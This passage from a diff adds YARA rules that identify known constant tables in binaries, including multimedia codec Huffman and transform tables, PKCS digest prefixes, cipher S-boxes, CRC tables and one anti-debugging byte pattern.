4805241d6c29003590114c05281d7029043594114c04281c7028043494104c03281b70270433940f50032c1b74270833980f50042c1c74280834981050052c1d7429083598115405301d78290c359c115404301c78280c349c105403301b78270c339c0f5803341b7c271033a00f5804341c7c281034a0105805341d7c291035a0115c05381d80291435a4115c04381c80281434a4105c03381b80271433a40f60033c1b84271833a80f60043c1c84281834a81060053c1d84291835a8116405401d88291c35ac116404401c88281c34ac106403401b88271c33ac0f6803441b8c272033b00f6804441c8c282034b0106805441d8c292035b011480924216c2d00399015480a24226c2e003a9016480b24236c2f003b90174c0b2823702f043b94174c0a2822702e043a94164c092821702d0439941550092c21742d08399815500a2c22742e083a9816500b2c23742f083b9817540b3023782f0c3b9c17540a3022782e0c3a9c1654093021782d0c399c15580934217c2d1039a015580a34227c2e103aa016580b34237c2f103ba0175c0b3823802f143ba4175c0a3822802e143aa4165c093821802d1439a41560093c21842d1839a815600a3c22842e183aa816600b3c23842f183ba817640b4023882f1c3bac17640a4022882e1c3aac1664094021882d1c39ac15680944218c2d2039b015680a44228c2e203ab016680b44238c2f203bb017 }
+
+condition:
+	$a0
+}
+
+	
+rule PKCS_DigestDecoration_RIPEMD160__8_byt_15_
+{
+strings:
+	$a0 = { 3021300906052b2403020105000414 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book10__32_lil_2028_
+{
+strings:
+	$a0 = { 00000000060000002200000001000000050000000800000002000000060000001d00000003000000060000002600000004000000070000005f0000000500000008000000d30000000600000009000000cf010000070000000a000000d0030000080000000a000000d7030000090000000a000000ed0300000a0000000b000000f00700000b0000000b000000f60700000c0000000c000000fd0f00000d00000005000000070000000e00000004000000000000000f00000004000000010000001000000005000000090000001100000006000000200000001200000007000000540000001300000007000000600000001400000008000000d50000001500000008000000dc0000001600000009000000d4010000170000000a000000cd030000180000000a000000de030000190000000b000000e70700001a000000060000001c0000001b00000004000000020000001c00000005000000060000001d000000050000000c0000001e000000060000001e0000001f000000060000002800000020000000070000005b0000002100000008000000cd0000002200000008000000d90000002300000009000000ce0100002400000009000000dc010000250000000a000000d9030000260000000a000000f103000027000000060000002500000028000000050000000b00000029000000050000000a0000002a000000050000000d0000002b00000006000000240000002c00000007000000570000002d00000007000000610000002e00000008000000cc0000002f00000008000000dd0000003000000009000000cc0100003100000009000000de010000320000000a000000d3030000330000000a000000e703000034000000070000005d00000035000000060000002100000036000000060000001f0000003700000006000000230000003800000006000000270000003900000007000000590000003a00000007000000640000003b00000008000000d80000003c00000008000000df0000003d00000009000000d20100003e00000009000000e20100003f0000000a000000dd030000400000000a000000ee0300004100000008000000d10000004200000007000000550000004300000006000000290000004400000007000000560000004500000007000000580000004600000007000000620000004700000008000000ce0000004800000008000000e00000004900000008000000e20000004a00000009000000da0100004b0000000a000000d40300004c0000000a000000e30300004d0000000b000000eb0700004e00000009000000c90100004f000000070000005e00000050000000070000005a00000051000000070000005c0000005200000007000000630000005300000008000000ca0000005400000008000000da0000005500000009000000c70100005600000009000000ca0100005700000009000000e0010000580000000a000000db030000590000000a000000e80300005a0000000b000000ec0700005b00000009000000e30100005c00000008000000d20000005d00000008000000cb0000005e00000008000000d00000005f00000008000000d70000006000000008000000db0000006100000009000000c60100006200000009000000d50100006300000009000000d8010000640000000a000000ca030000650000000a000000da030000660000000b000000ea070000670000000b000000f10700006800000009000000e10100006900000008000000d40000006a00000008000000cf0000006b00000008000000d60000006c00000008000000de0000006d00000008000000e10000006e00000009000000d00100006f00000009000000d6010000700000000a000000d1030000710000000a000000d5030000720000000a000000f2030000730000000b000000ee070000740000000b000000fb070000750000000a000000e90300007600000009000000cd0100007700000009000000c80100007800000009000000cb0100007900000009000000d10100007a00000009000000d70100007b00000009000000df0100007c0000000a000000cf0300007d0000000a000000e00300007e0000000a000000ef0300007f0000000b000000e6070000800000000b000000f8070000810000000c000000fa0f0000820000000a000000eb0300008300000009000000dd0100008400000009000000d30100008500000009000000d90100008600000009000000db010000870000000a000000d2030000880000000a000000cc030000890000000a000000dc0300008a0000000a000000ea0300008b0000000b000000ed0700008c0000000b000000f30700008d0000000b000000f90700008e0000000c000000f90f00008f0000000b000000f2070000900000000a000000ce0300009100000009000000e4010000920000000a000000cb030000930000000a000000d8030000940000000a000000d6030000950000000a000000e2030000960000000a000000e5030000970000000b000000e8070000980000000b000000f4070000990000000b000000f50700009a0000000b000000f70700009b0000000c000000fb0f00009c0000000b000000fa0700009d0000000a000000ec0300009e0000000a000000df0300009f0000000a000000e1030000a00000000a000000e4030000a10000000a000000e6030000a20000000a000000f0030000a30000000b000000e9070000a40000000b000000ef070000a50000000c000000f80f0000a60000000c000000fe0f0000a70000000c000000fc0f0000a80000000c000000ff0f0000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_vlc_bits__16_lil_818_
+{
+strings:
+	$a0 = { 0000020007000800090014001500160017003000310032003300680069006a006b006c006d006e006f00e000e100e200e300e400e500e600e700e800e900ea00eb00ec00ed00ee00ef00e001e101e201e301e401e501e601e701e801e901ea01eb01ec01ed01ee01ef01e003e103e203e303e403e503e603ce07cf07d007d107d207d307d407d507ac0fad0fae0faf0fb00fb10fb20fb30fb40fb50fb60fb70fb80fb90fba0fbb0fbc0fbd0fbe0fbf0f801f811f821f831f841f851f861f871f881f891f8a1f8b1f8c1f8d1f8e1f8f1f901f911f921f931f941f951f961f971f981f991f9a1f9b1f9c1f9d1f9e1f9f1fa01fa11fa21fa31fa41fa51fa61fa71fa81fa91faa1fab1fac1fad1fae1faf1fb01fb11fb21fb31fb41fb51fb61fb71fb81fb91fba1fbb1fbc1fbd1fbe1fbf1f007f017f027f037f047f057f067f077f087f097f0a7f0b7f0c7f0d7f0e7f0f7f107f117f127f137f147f157f167f177f187f197f1a7f1b7f1c7f1d7f1e7f1f7f207f217f227f237f247f257f267f277f287f297f2a7f2b7f2c7f2d7f2e7f2f7f307f317f327f337f347f357f367f377f387f397f3a7f3b7f3c7f3d7f3e7f3f7f407f417f427f437f447f457f467f477f487f497f4a7f4b7f4c7f4d7f4e7f4f7f507f517f527f537f547f557f567f577f587f597f5a7f5b7f5c7f5d7f5e7f5f7f607f617f627f637f647f657f667f677f687f697f6a7f6b7f6c7f6d7f6e7f6f7f707f717f727f737f747f757f767f777f787f797f7a7f7b7f7c7f7d7f7e7f7f7f807f817f827f837f847f857f867f877f887f897f8a7f8b7f8c7f8d7f8e7f8f7f907f917f927f937f947f957f967f977f987f997f9a7f9b7f9c7f9d7f9e7f9f7fa07fa17fa27fa37fa47fa57fa67fa77fa87fa97faa7fab7fac7fad7fae7faf7fb07fb17fb27fb37fb47fb57fb67fb77fb87fb97fba7fbb7fbc7fbd7fbe7fbf7fc07fc17fc27fc37fc47fc57fc67fc77fc87fc97fca7fcb7fcc7fcd7fce7fcf7fd07fd17fd27fd37fd47fd57fd67fd77fd87fd97fda7fdb7fdc7fdd7fde7fdf7fe07fe17fe27fe37fe47fe57fe67fe77fe87fe97fea7feb7fec7fed7fee7fef7ff07ff17ff27ff37ff47ff57ff67ff77ff87ff97ffa7ffb7ffc7ffd7ffe7fff7f0600 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab5__16_big_62_
+{
+strings:
+	$a0 = { FFE3FFE7FFE9FFF1FFF9FFFBFFFDFFFF0033002300320031FFFDFFFF00130003FFFF00300022FFFDFFFF00120021FFFF000200200011FFFF000100100000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_svq1_frame_size_table__16_big_32_
+{
+strings:
+	$a0 = { 00A000780080006000B000900160012002C0024000F000B4014000F0FFFFFFFF }
+
+condition:
+	$a0
+}
+
+	
+rule Open_H323_pwlib_bv_dct_basis__32_big_4096_
+{
+strings:
+	$a0 = { 34343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434000000000000000001010101010101010202020202020202030303030303030304040404040404040505050505050505060606060606060607070707070707070001020304050607000102030405060700010203040506070001020304050607000102030405060700010203040506070001020304050607000102030405060708090a0b0b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0b0a090808090a0b0b0a09080c0d0e0f101112130d141516171819120e151a1b1c1d18110f161b1e1f1c171010171c1f1e1b160f11181d1c1b1a150e121918171615140d131211100f0e0d0c080808080808080809090909090909090a0a0a0a0a0a0a0a0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0a0a0a0a0a0a0a0a090909090909090908080808080808080101010101010101202020202020202007070707070707072121212121212121222222222222222200000000000000002323232323232323060606060606060624282c30332f2b2725292d31322e2a26262a2e32312d2925272b2f33302c2824272b2f33302c2824262a2e32312d292525292d31322e2a2624282c30332f2b27242526272726252428292a2b2b2a29282c2d2e2f2f2e2d2c303132333332313033323130303132332f2e2d2c2c2d2e2f2b2a292828292a2b272625242425262701200721220023060120072122002306012007212200230601200721220023060120072122002306012007212200230601200721220023060120072122002306343535343435353434353534343535343435353434353534343535343435353434353534343535343435353434353534343535343435353434353534343535340d1013110e0c0f1214171218150d1619151c1136370e1b18161f101c1b0f1e17171e0f1b1c101f16181b0e3736111c1519160d1518121714120f0c0e1113100d38393a3b3b3a3938393c3d3a3a3d3c393a3d3c39393c3d3a3b3a393838393a3b3b3a393838393a3b3a3d3c39393c3d3a393c3d3a3a3d3c3938393a3b3b3a39380d1415161718191210171c1f1e1b160f131211100f0e0d0c1118361c1b37150e0e15371b1c3618110c0d0e0f101112130f161b1e1f1c1710121918171615140d34343434343434343535353535353535353535353535353534343434343434343434343434343434353535353535353535353535353535353434343434343434222222222222222207070707070707072323232323232323010101010101010106060606060606062020202020202020000000000000000021212121212121210001020304050607070605040302010007060504030201000001020304050607000102030405060707060504030201000706050403020100000102030405060728292a2b2b2a2928333231303031323327262524242526272f40412c2c41402f2c41402f2f40412c242526272726252430313233333231302b2a292828292a2b28333e2f2c3f302b293226404125312a2a312541402632292b303f2c2f3e33282b303f2c2f3e33282a31254140263229293226404125312a28333e2f2c3f302b0007070000070700010606010106060102050502020505020304040303040403040303040403030405020205050202050601010606010106070000070700000722072301062000212207230106200021220723010620002122072301062000212207230106200021220723010620002122072301062000212207230106200021090b080a0a080b09090b080a0a080b09090b080a0a080b09090b080a0a080b09090b080a0a080b09090b080a0a080b09090b080a0a080b09090b080a0a080b090e130f0d12100c111512161419170d1837111b15181c0e361b101e16171f0f1c1c0f1f17161e101b360e1c18151b1137180d171914161215110c10120d0f130e080b0b08080b0b08090a0a09090a0a090a09090a0a09090a0b08080b0b08080b0b08080b0b08080b0a09090a0a09090a090a0a09090a0a09080b0b08080b0b0814171218150d1619171e0f1b1c101f16120f0c0e1113100d181b0e3736111c15151c1136370e1b180d1013110e0c0f12161f101c1b0f1e1719160d151812171408090a0b0b0a09080b0a090808090a0b0b0a090808090a0b08090a0b0b0a090808090a0b0b0a09080b0a090808090a0b0b0a090808090a0b08090a0b0b0a09080e15371b1c361811131211100f0e0d0c0f161b1e1f1c17100d14151617181912121918171615140d10171c1f1e1b160f0c0d0e0f101112131118361c1b37150e09090909090909090b0b0b0b0b0b0b0b08080808080808080a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a08080808080808080b0b0b0b0b0b0b0b09090909090909090303030303030303050505050505050501010101010101010707070707070707000000000000000006060606060606060202020202020202040404040404040425292d31322e2a26272b2f33302c282424282c30332f2b27262a2e32312d2925262a2e32312d292524282c30332f2b27272b2f33302c282425292d31322e2a262c41402f2f40412c2726252424252627303132333332313028292a2b2b2a29282b2a292828292a2b333231303031323324252627272625242f40412c2c41402f01200721220023060623002221072001062300222107200101200721220023060120072122002306062300222107200106230022210720010120072122002306010606010106060120232320202323200700000707000007212222212122222122212122222121220007070000070700232020232320202306010106060101062c3e30282b333f2f412631292a3225404025322a293126412f3f332b28303e2c2f3f332b28303e2c4025322a29312641412631292a3225402c3e30282b333f2f2527242626242725292b282a2a282b292d2f2c2e2e2c2f2d313330323230333132303331313330322e2c2f2d2d2f2c2e2a282b29292b282a2624272525272426030501070006020403050107000602040305010700060204030501070006020403050107000602040305010700060204030501070006020403050107000602040f110d130c120e10161814120d1915171b1d15110e181a1c1e1c16100f171b1f1f1b170f10161c1e1c1a180e11151d1b1715190d12141816100e120c130d110f393b383a3a383b393c3a393d3d393a3c3d393a3c3c3a393d3a383b39393b383a3a383b39393b383a3d393a3c3c3a393d3c3a393d3d393a3c393b383a3a383b391512161419170d181c0f1f17161e101b110c10120d0f130e360e1c18151b113737111b15181c0e360e130f0d12100c111b101e16171f0f1c180d17191416121534353534343535343534343535343435353434353534343534353534343535343435353434353534353434353534343535343435353434353435353434353534151c1136370e1b18120f0c0e1113100d161f101c1b0f1e1714171218150d161919160d1518121714171e0f1b1c101f160d1013110e0c0f12181b0e3736111c15393c3d3a3a3d3c393b3a393838393a3b38393a3b3b3a39383a3d3c39393c3d3a3a3d3c39393c3d3a38393a3b3b3a39383b3a393838393a3b393c3d3a3a3d3c390f161b1e1f1c171011181d1c1b1a150e0d14151617181912131211100f0e0d0c0c0d0e0f10111213121918171615140d0e151a1b1c1d181110171c1f1e1b160f30313233333231302f2e2d2c2c2d2e2f28292a2b2b2a2928272625242425262724252627272625242b2a292828292a2b2c2d2e2f2f2e2d2c3332313030313233293226404125312a2b303f2c2f3e332828333e2f2c3f302b2a312541402632292a3125414026322928333e2f2c3f302b2b303f2c2f3e3328293226404125312a2221212222212122070000070700000723202023232020230106060101060601060101060601010620232320202323200007070000070700212222212122222122072301062000212100200601230722210020060123072222072301062000212207230106200021210020060123072221002006012307222207230106200021292b282a2a282b2932303331313330322624272525272426402c2f41412f2c40412f2c40402c2f41252724262624272531333032323033312a282b29292b282a302f2827242b2c33312e2926252a2d32322d2a2526292e31332c2b2427282f30332c2b2427282f30322d2a2526292e31312e2926252a2d32302f2827242b2c33161814120d1915171f1b170f10161c1e100e120c130d110f1c37180e1115361b1b3615110e18371c0f110d130c120e101e1c16100f171b1f1715190d12141816090b080a0a080b090a080b09090b080a0a080b09090b080a090b080a0a080b09090b080a0a080b090a080b09090b080a0a080b09090b080a090b080a0a080b0937111b15181c0e36110c10120d0f130e1b101e16171f0f1c1512161419170d18180d1719141612151c0f1f17161e101b0e130f0d12100c11360e1c18151b1137090a0a09090a0a090b08080b0b08080b080b0b08080b0b080a09090a0a09090a0a09090a0a09090a080b0b08080b0b080b08080b0b08080b090a0a09090a0a09161f101c1b0f1e17181b0e3736111c1514171218150d1619120f0c0e1113100d0d1013110e0c0f1219160d1518121714151c1136370e1b18171e0f1b1c101f1603040403030404030502020505020205010606010106060107000007070000070007070000070700060101060601010602050502020505020403030404030304412631292a3225402f3f332b28303e2c2c3e30282b333f2f4025322a293126414025322a293126412c3e30282b333f2f2f3f332b28303e2c412631292a322540412f2c40402c2f4126242725252724263133303232303331292b282a2a282b292a282b29292b282a32303331313330322527242626242725402c2f41412f2c40030501070006020404020600070105030402060007010503030501070006020403050107000602040402060007010503040206000701050303050107000602041b3615110e18371c100e120c130d110f1e1c16100f171b1f161814120d1915171715190d121418161f1b170f10161c1e0f110d130c120e101c37180e1115361b3c3a393d3d393a3c3a383b39393b383a393b383a3a383b393d393a3c3c3a393d3d393a3c3c3a393d393b383a3a383b393a383b39393b383a3c3a393d3d393a3c1b101e16171f0f1c360e1c18151b11371512161419170d18110c10120d0f130e0e130f0d12100c11180d17191416121537111b15181c0e361c0f1f17161e101b31333032323033312e2c2f2d2d2f2c2e292b282a2a282b29262427252527242625272426262427252a282b29292b282a2d2f2c2e2e2c2f2d3230333131333032312e2926252a2d32332c2b2427282f30302f2827242b2c33322d2a2526292e31322d2a2526292e31302f2827242b2c33332c2b2427282f30312e2926252a2d321e1c16100f171b1f1c1a180e11151d1b161814120d191517100e120c130d110f0f110d130c120e101715190d121418161b1d15110e181a1c1f1b170f10161c1e }
+
+condition:
+	$a0
+}
+
+	
+rule PKCS_DigestDecoration_SHA256__8_byt_19_
+{
+strings:
+	$a0 = { 3031300d060960864801650304020105000420 }
+
+condition:
+	$a0
+}
+
+	
+rule libavformat_dv_aaux_packs_dist__8_byt_108_
+{
+strings:
+	$a0 = { ffffff50515253ffff50515253ffffffffffffffff50515253ffff50515253ffffffffffffffff50515253ffff50515253ffffffffffffffff50515253ffff50515253ffffffffffffffff50515253ffff50515253ffffffffffffffff50515253ffff50515253ffffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_1_lo_filter__flt32___32_big_36_
+{
+strings:
+	$a0 = { 3ca29b8ebd30801abd5488723e9622663f1054f23e962266bd548872bd30801a3ca29b8e }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_V0__32_lil_1024_
+{
+strings:
+	$a0 = { 016ab9bbb1669ae5cd1465e2511b8725a457a2f703bed6d004b5ded6fe8552b3ad4abafd63e009cf84961c091a4d91a54d37a73da35caaf1e117a47bf98e5ab5ac2003461184e6c4c268cc550da8c6dc99d085aaaa41b2fb9c0fe2c755ae59f320c1befee5a27aad7fcc29d7e80abc713be696e09edb8dac2215d195ceaab33293734b70fd3b8463d052fc41e61cac7d947843760661b1bddaf1329b17e557795cb341f94b5616800cc27f67cc7edc59409f61e1e3c3cb10302fe1810e16100c5e672e92663f6ea253cfe84e6c9ca078730e56b0349a3f573ced9ee68e35d2d38023c2df2ed7aef26e48cf13596c2694605edf1f9b04eac119f34775893edad5ffefeb08f2472dd4c7b7ab38b9113b54a236134af4269c6910ee5f7f8d8b04034fe3c856479469e7eaded31a98ba3c112d697822153138126afd11c5db9b8b20385840306b97a87e237f682e1c2c2018070b080621ab074527cab6f85f0d97297264ef0b29dca6f4b3b2f58e628ab074bda4e58285fca5b21ef84f73a895dd900877a1b1442abf37a53d1b4c8beab5beb66d92e34a3caf3b7c72ff07839d140f4321b7319fb13417f8e4e30ed6334dfcbaafed848728cad9f54c25d2cfc00a892474602826a00f4305df676d3a8c2f5b091d180a7d1846bcb87b82ef1899fece35f086ec9512facd32fb8eea2fbd17491f92f6c8a683cd9c424b0e8ab4b9fd88dc908326c563c45352a551f5ef01b477be1a33520f7ca9b76f2276a86df619c302d46f6becbf62a776d131dd78c721d128b61f4f364e503cc8cb028fe4c8c3162c03c199ee6b0dcc81497b64b00c235e1d4699a3d13845faa0e27c217ea6906caef46c2d41f5d85a2a627024e96005caf1f9fb04c6dd1283e77615c650713e9ee2a972abc4097de8d58d9b2c8854636e251ed993d8255df06581b872a9ff642b46fed05c96ac2c1dc0bca33e91a7241b3f5348364540068cb2d84c35f7984ab99d655b7cca1f6de4864273629a6e537aab2b0b40d759f4475bb849ff5ad2f044bcce5c393d87275d00000000fb5a35def6f2f302edd5db1ccb75d45f3145583a8f5f6b6856108f23b7072b588ce1bdb897c695a6168feec20aa3cedab5d344336755d71964eb01c9c9a1bb34df2e55f690cd9da0a188c59afa308c65d286932a68297eae79ad986a123a30141b27281e613466a477bb886658069f2f6943c7157b79f701756fe70d82f7adb454c4e048af9ed5969219f2cb48e8c050bf708ae93e39f18d3724e987fc513dd8e07d1dc03932f98bd94fe44b4e8971ed7a134ebac1d61a853391375170b080602b08c99fbbc5543fd4e72297de44ec4d74055eb6ebb46aa1145b81a98a800c05c30275ee135089aff32d946f0bc97761ddfa3a9d577a3698498279eba7e97427f09342bf5dd9f8424c5d1e8671da39dbd3ec2a91 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xd6d6a3e8__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000787cee0af0f8dc158884321f372733044f5bdd0ec7dfef11bfa3011b6e4e6608163288029eb6ba1de6ca54175969550c2115bb06a9918919d1ed6713dc9ccc10a4e0221a2c6410055418fe0febbbff1493c7111e1b432301633fcd0bb2d2aa18caae4412422a760d3a56980785f5991cfd897716750d45090d71ab036fef130e1793fd049f17cf1be76b211158c8200a20b4ce00a830fc1fd04c121501a1750679dd9b0cf159a91389254719368646024efaa808c67e9a17be02741db373df1ecb0f3114438b030b3bf7ed018454ec1afc28021074ac300f0cd0de05dd3db916a541571c2dc5650355b98b09ea1a8a12926664181ae25607629eb80ddede271ca6a2c9162e26fb09565a1503e9f914189185fa121901c80d617d2607b0904114c8ecaf1e40689d013814730b87b77210ffcb9c1a774fae050f33400f0242eb0c7a3e0506f2ba37198ac6d9133565d8084d193602c59d041dbde1ea176c0c8d041470630e9cf45111e488bf1b5b2bbe002357500aabd36215d3af8c1fb1313412c94dda1841c9e80739b5060d86160716fe6ae91c76eedb030e923509df7f521aa703bc102f878e0f57fb6005e858611e90248f1418a0bd0b60dc53016dadf80215d116089d552417e529ca1d5a8acb0622f6250caa721713d20ef91903e39e0a7b9f7000f31b421f8b67ac1534c4ad0e4cb84304c43c711bbc409f116b6bc51713172b1d9b931902e3eff7085c4cf61324301819acb42a06d4c8c40c0525a31f7d594d15f5dd7f0a8da191003202901b4a7e7e11c2fa4c0eba86a204b7f70907cf8be70d470fd5123f733b1880d03a03f8acd4097028e6160854081cd9b96f0fa1c581052941b31a513d5d10ee9e5c0b96e2b2011e66801e661a6e140484d6197cf83813f47c0a0c8c00e40633a3e51d4bdf0b17c35b3908bb27d7026acab01112b65e1b9a326c04e24e820e5ded831525916d1fad155f00d569b10ad8181a09a064f40328e0c61c509c2816ef3f290d9743c7071fc7f51867bb1b12b6567c01ce2a920b46aea0143ed24e1e81714f05f90da10f7189931009f57d1ab5b5e20bcdc90c01454d3e1e3d31d0148292d10ffaee3f05726a0d1a0a16e310dbfb8403a3876a092b035816537fb61cecdcb70794a0590d1c246b126458851869292e1b1155c01199d1f20ee1ad1c045e0e1d1f2672f315aef6c10ad68a2f00076748137f1ba619f79f94068fe37a0c30407b17483c951dc0b8a702b8c44908da5af105a2261f0f2aa22d1052dec31aed7dc20195012c0b1d851e1465f9f01eb414970dcc68790744ec4b183c90a5128333a409fb4f4a0373cb781c0bb7961606c63d157ebad31ff63ee1008e420f0a31e10e11499de01bc119d204b9653c0e68885b1d10f4b51798708708e00c69025faf681927d38613af57b40cd72b5a06 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_fc_2pulses_9bits_track1_gray__8_byt_16_
+{
+strings:
+	$a0 = { 0103080612100b0d26241f2115171c1a }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_6__16_lil_386_
+{
+strings:
+	$a0 = { 00400b3f163e213d2d3c3a3b473a55396338733783369535a734bb33d032e731fe3016302f2f4b2e672d872ca82bcc2af129192941286e279b26cd25ff24342469239e22d3210b214420831fc21e081e4e1d991ce41b351b861add1934199218f0175017b01617167f15ec145914cd134113ba123412b4113411ba104010c90f520fdb0e640ef00d7c0d0f0da20c3b0cd50b730b110bb50a590a030aad095c090c09bc086d082308d90794074f070f07cf06930657061f06e705b3057f054d051b05e904b704870457042b04ff03d703af0389036403420320030103e202c502a9028d02710258023f0228021102fc01e701d201bf01ac019a018801780168015801480139012a011b010c01ff00f200e600da00cf00c400ba00b000a7009e0096008e0087008000790072006c00660061005c00570052004e004a00460042003e003a00360032002f002c0029002600230020001e001c001a00180016001400120010000e000d000c000b000a000900080007000600050004000300020001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qcelp_lspvq1__16_big_256_
+{
+strings:
+	$a0 = { 014700760397006f01ab01b8052f00b901d5003204f8005b037c003b06eb00c100de009e044c007f033b003703d203170299002f02bc0579029e035b0779041801d700d70416007d0285012a063f00a00251002704a301ce02ed015505f001ff01220318038d016a02f1005104570422020700fd033c034702ad021d058d04ea0182008203c20077021e0183059700b9020e003304970104033f00a706c001fe011101b50494007103030090046202ef026b007701ec04fc029202b7075a0267019f00c803fa005802a90153059c0145022b007a041201e5033a0159055e02e7017f03fa03ed016602c000560515024a025500f10340026d022b023d05e00347 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_front_opposite_side___30_degree___flt64___64_big_1024_
+{
+strings:
+	$a0 = { beec410393238072bf1518f68098ad7b3f0707d15c05f082bef2cd811879d882bf023b5e3e30b087bf191a7e95ee65063f246b19fb7ab29fbf289111a35862ee3f31600cff7571cebf2304e20b2f205bbf15a95ca3d706d33f45410eb0d5a244bf516b22ca4fa0223f65c48d12164a453f573b2da500b2ce3f79876852ff104fbf80c8181af09048bf7ae713f8a554533f83890ea804d9a23f89358ffe3218c13fbf94f069ec96a03fa7a2d91a7d5dc8bfba2f7c2b05c3293fa4b9627827050dbf684c0df793b931bfb2117f6245099d3fb4ebad5bccdd843fb65d8bed2329983faa238dc8cf2e923fbdc3fd05850bfd3fca84d6738a7b173fb80008c28e46d1bfb90c4996a5e6dbbf857da75f2bc5a23fab341a88d1c9eabfba00c850b19de3bfc4d165f1536744bfaba8fe6771af72bf9c195372079a47bfb93e07f9694225bfb183e448f2e1e0bf7229fd0051c4fcbf411d160cc1ae40bf798699e341973d3f8d8332dae2bc463fa903b7f189b3763fa6554fc39bb8db3fa1676af5bbe7123fa966942df2439b3fa4d3200109e3d13f80140012c7b07e3f72b229a87a75843f971cdf82879eda3f80c2a9f588dcecbf8e8af5506364c6bf9322681a567907bf91e0588923c6a4bf97d48e1598ef0fbfa30fdfd2604247bfa6e814d32e1c83bfa5d6617725e465bfa3190234c2aaf5bf9dbc8589558b2abf934da4c7720a06bf88b8d371733db9bf7bc522e6239184bf5fa0c16f8a4cc13efee2a72ff504503f56a5afa83ed31d3f583f3454f491703f2b1bbacbad7f593f623b10617071a33f7511b9e91edc323f5e713e8328b313bf5fd3dfd767c446bf57b2a8b2131b0fbf6c348309410cc3bf83d9cc0395c2f8bf883f96a2ebe0c5bf85f2897881c259bf8a803a81d13572bf88f443127e93a4bf79639a10658193bf62fe9bb7b8ee67bf65f419979b5648bf6947da9c85c4f3bf59bd17f6782b1cbf4ab29c415b352abf544a77b16a9affbf4114e0d4aea0e53f5d0318ca3e9d353f55b52badfd244cbf5be43ce7f9bdadbf727a038f21590ebf76358ad0836019bf702cc17713f78ebf75b14108c55904bf79caf3b15f48dfbf733158a8c62c43bf73b1360b244bdebf787d4b28be4eb7bf784901a1e63913bf7127201c9d2db0bf6a543f0e4cb021bf66fe6ed8cdd882bf51d7790dbc65d93f35796a0d2988abbf5552e3bd682436bf6a47c4f1fefe1cbf6493106d28ed6cbf5696eb3b3a578abf5df2ce0fb79bc1bf6538a351f2e548bf60f7aad0d59d38bf65a58f2109ecf4bf7051372e1f36a3bf710dce374e9a0fbf71d6c8673e26e0bf71d1b85adbcad1bf6e0f2423adac5abf6bbdc34730d1e4bf70458a4744fecbbf71bec8d0b0c6c1bf65b2de71d4b380bf56aea30133d907bf529a2035a6a2d8bf567d3679db2593bf60720ec2f2c95b }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_lengthExtraBits__32_lil_116_
+{
+strings:
+	$a0 = { 0000000000000000000000000000000000000000000000000000000000000000010000000100000001000000010000000200000002000000020000000200000003000000030000000300000003000000040000000400000004000000040000000500000005000000050000000500000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab7__16_lil_142_
+{
+strings:
+	$a0 = { BBFFBFFFC7FFD9FFE3FFEFFFF5FFF9FFFDFFFFFF55004500FFFF54005300FFFF35004400FDFFFFFF250052001500FBFFFFFF5100FFFF05003400FFFF5000FFFF43003300FBFFFDFFFFFF240042001400FFFF41004000F5FFF9FFFDFFFFFF04002300FFFF32000300FFFF13003100FDFFFFFF300022001200FBFFFFFF2100FFFF020020001100FFFF010010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__UnhandledExceptionFilter_protection__8_byt_11_
+{
+strings:
+	$a0 = { b906000000b0ccf2ae85c9 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_exp_table__flt64___64_big_1008_
+{
+strings:
+	$a0 = { 3fe00000000000003fd00000000000003fc00000000000003fb00000000000003fa00000000000003f900000000000003f800000000000003f700000000000003f600000000000003f500000000000003f400000000000003f300000000000003f200000000000003f100000000000003f000000000000003ef00000000000003ee00000000000003ed00000000000003ec00000000000003eb00000000000003ea00000000000003e900000000000003e800000000000003e700000000000003e600000000000003e500000000000003e400000000000003e300000000000003e200000000000003e100000000000003e000000000000003df00000000000003de00000000000003dd00000000000003dc00000000000003db00000000000003da00000000000003d900000000000003d800000000000003d700000000000003d600000000000003d500000000000003d400000000000003d300000000000003d200000000000003d100000000000003d000000000000003cf00000000000003ce00000000000003cd00000000000003cc00000000000003cb00000000000003ca00000000000003c900000000000003c800000000000003c700000000000003c600000000000003c500000000000003c400000000000003c300000000000003c200000000000003c100000000000003c000000000000003bf00000000000003be00000000000003bd00000000000003bc00000000000003bb00000000000003ba00000000000003b900000000000003b800000000000003b700000000000003b600000000000003b500000000000003b400000000000003b300000000000003b200000000000003b100000000000003b000000000000003af00000000000003ae00000000000003ad00000000000003ac00000000000003ab00000000000003aa00000000000003a900000000000003a800000000000003a700000000000003a600000000000003a500000000000003a400000000000003a300000000000003a200000000000003a100000000000003a0000000000000039f000000000000039e000000000000039d000000000000039c000000000000039b000000000000039a0000000000000399000000000000039800000000000003970000000000000396000000000000039500000000000003940000000000000393000000000000039200000000000003910000000000000390000000000000038f000000000000038e000000000000038d000000000000038c000000000000038affffffffffffd389ffffffffffffd38900000000000063880000000000006386fffffffffffd0385fffffffffffd03850000000000060383ffffffffffee1382ffffffffffee1382000000000032e380ffffffffff765 }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_transform_matrix_4x4__32_big_64_
+{
+strings:
+	$a0 = { 00000011000000110000001100000011000000160000000AFFFFFFF6FFFFFFEA00000011FFFFFFEFFFFFFFEF000000110000000AFFFFFFEA00000016FFFFFFF6 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_codebook__flt32___32_lil_32_
+{
+strings:
